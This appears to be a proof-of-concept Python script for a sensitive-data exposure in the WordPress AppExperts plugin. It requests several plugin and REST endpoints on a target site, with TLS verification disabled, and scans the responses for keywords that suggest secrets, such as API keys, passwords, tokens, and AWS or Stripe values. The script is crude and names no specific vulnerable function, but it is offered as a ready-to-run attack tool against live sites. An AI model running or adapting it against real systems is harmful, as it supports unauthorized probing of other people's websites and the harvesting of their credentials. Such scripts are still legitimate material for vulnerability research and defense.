CVE-2025-53218

# CVE-2025-53218 PoC - WordPress AppExperts Sensitive Information Exposure # Target: WordPress site with AppExperts plugin <= 1.4.5 import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-53218 """ # Common endpoints that might expose sensitive data endpoints = [ '/wp-json/appexperts/v1/', '/wp-admin/admin-ajax.php', '/wp-content/plugins/appexperts/', '/?rest_route=/appexperts/v1/', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/html, */*', } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-53218 - AppExperts Plugin Sensitive Data Exposure\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for sensitive information patterns sensitive_patterns = [ 'api_key', 'secret', 'password', 'token', 'credential', 'auth_key', 'private_key', 'database', 'DB_', 'AWS_', 'STRIPE_' ] content = response.text.lower() found_sensitive = [] for pattern in sensitive_patterns: if pattern.lower() in content: found_sensitive.append(pattern) if found_sensitive: print(f"[+] POTENTIAL VULNERABILITY - Endpoint: {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Found sensitive patterns: {', '.join(found_sensitive)}") print(f"[+] Response length: {len(response.text)} bytes\n") else: print(f"[-] Endpoint: {endpoint} - No obvious sensitive data found") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") print("\n[*] Note: This is a basic PoC. Manual testing recommended.") print("[*] Check plugin source code for specific vulnerable functions.") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-53218_poc.py <target_url>") print("Example: python cve-2025-53218_poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

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